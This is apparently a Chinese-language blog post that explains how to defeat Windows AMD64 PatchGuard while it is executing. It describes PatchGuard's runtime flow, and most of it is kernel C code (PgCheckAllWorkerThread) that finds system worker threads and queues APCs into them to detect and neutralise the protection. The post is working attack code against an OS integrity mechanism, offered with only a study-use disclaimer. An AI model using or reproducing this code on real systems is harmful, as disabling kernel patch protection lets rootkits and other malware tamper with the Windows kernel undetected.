欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

攻破 Window AMD64 平台的 PatchGuard - 清除执行中的 PatchGuard

攻破 Window AMD64 平台的 PatchGuard - 清除执行中的 PatchGuard

最近微软更新了 1903 忙着更新了一下代码, 顺便把文章补全, 主要是解释一下如何检测的.

当 PatchGuad 处于执行状态时, 首先解密头部的CmpAppendDllSection, 然后在 CmpAppendDllSection内部完整解密整个Context, 进入PatchGuardEntryPointer, 替换IDT, 关闭DR中断, 自检, 插入WORKER(自捡成功的话), 清空栈, 进入FsRtlUninitializeSmallMcb, 这里FsRtlUninitializeSmallMcb 就是 PatchGuad 的执行主逻辑, 在这个逻辑中大部分时间 PatchGuad 都是处于延时状态以减少CPU 占用.


攻击逻辑首先是枚举当前的 WORKER 线程, 我使用的方法是把自己先插入到 WORKER, 然后通过对比入口点来 判断 WORKER 线程,  然后每个 WORKER 线程插入一个特殊模式的Apc(保存现场->检测逻辑),
VOID

NTAPI

PgCheckAllWorkerThread(

    __inout PPGBLOCK PgBlock

)

{

    NTSTATUS Status = STATUS_SUCCESS;

    PSYSTEM_PROCESS_INFORMATION ProcessInfo = NULL;

    PSYSTEM_EXTENDED_THREAD_INFORMATION ThreadInfo = NULL;

    PVOID Buffer = NULL;

    ULONG BufferSize = PAGE_SIZE;

    ULONG ReturnLength = 0;

    ULONG Index = 0;

    PULONG64 InitialStack = 0;

    DISPATCHER_HEADER * Header = NULL;

    /*

    if (os build >= 9600){

        PgBlock->WorkerContext = struct _DISPATCHER_HEADER

            Header->Type = 0x15

            Header->Hand = 0xac

    }

    else {

        PgBlock->WorkerContext = enum _WORK_QUEUE_TYPE

            CriticalWorkQueue = 0

            DelayedWorkQueue = 1

    }

    */

    InitialStack = IoGetInitialStack();

    if (GetGpBlock(PgBlock)->BuildNumber >= 9600) {

        while ((ULONG64)InitialStack != (ULONG64)&PgBlock) {

            Header = *(PVOID *)InitialStack;

            if (FALSE != MmIsAddressValid(Header)) {

                if (FALSE != MmIsAddressValid((PCHAR)(Header + 1) - 1)) {

                    if (0x15 == Header->Type &&

                        0xac == Header->Hand) {

                        PgBlock->WorkerContext = Header;

                        break;

                    }

                }

            }

            InitialStack--;

        }

    }

    else {

        PgBlock->WorkerContext = UlongToPtr(CriticalWorkQueue);

    }

retry:

    Buffer = ExAllocatePool(

        NonPagedPool,

        BufferSize);

    if (NULL != Buffer) {

        RtlZeroMemory(

            Buffer,

            BufferSize);

        Status = ZwQuerySystemInformation(

            SystemExtendedProcessInformation,

            Buffer,

            BufferSize,

            &ReturnLength);

        if (NT_SUCCESS(Status)) {

            ProcessInfo = (PSYSTEM_PROCESS_INFORMATION)Buffer;

            while (TRUE) {

                if (PsGetCurrentProcessId() == ProcessInfo->UniqueProcessId) {

                    ThreadInfo = (PSYSTEM_EXTENDED_THREAD_INFORMATION)

                        (ProcessInfo + 1);

                    if (NULL == PgBlock->ExpWorkerThread) {

                        for (Index = 0;

                            Index < ProcessInfo->NumberOfThreads;

                            Index++) {

                            if ((ULONG64)PsGetCurrentThreadId() ==

                                (ULONG64)ThreadInfo[Index].ThreadInfo.ClientId.UniqueThread) {

                                PgBlock->ExpWorkerThread = ThreadInfo[Index].Win32StartAddress;

                                break;

                            }

                        }

                    }

                    if (NULL != PgBlock->ExpWorkerThread) {

                        for (Index = 0;

                            Index < ProcessInfo->NumberOfThreads;

                            Index++) {

                            if ((ULONG64)PsGetCurrentThreadId() !=

                                (ULONG64)ThreadInfo[Index].ThreadInfo.ClientId.UniqueThread &&

                                (ULONG64)PgBlock->ExpWorkerThread ==

                                (ULONG64)ThreadInfo[Index].Win32StartAddress) {

                                AsyncCall(

                                    ThreadInfo[Index].ThreadInfo.ClientId.UniqueThread,

                                    NULL,

                                    NULL,

                                    (PUSER_THREAD_START_ROUTINE)PgCheckWorkerThread,

                                    PgBlock);

                            }

                        }

                    }

                    break;

                }

                if (0 == ProcessInfo->NextEntryOffset) {

                    break;

                }

                else {

                    ProcessInfo = (PSYSTEM_PROCESS_INFORMATION)

                        ((PCHAR)ProcessInfo + ProcessInfo->NextEntryOffset);

                }

            }

        }

        ExFreePool(Buffer);

        Buffer = NULL;

        if (STATUS_INFO_LENGTH_MISMATCH == Status) {

            BufferSize = ReturnLength;

            goto retry;

        }

    }

}

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功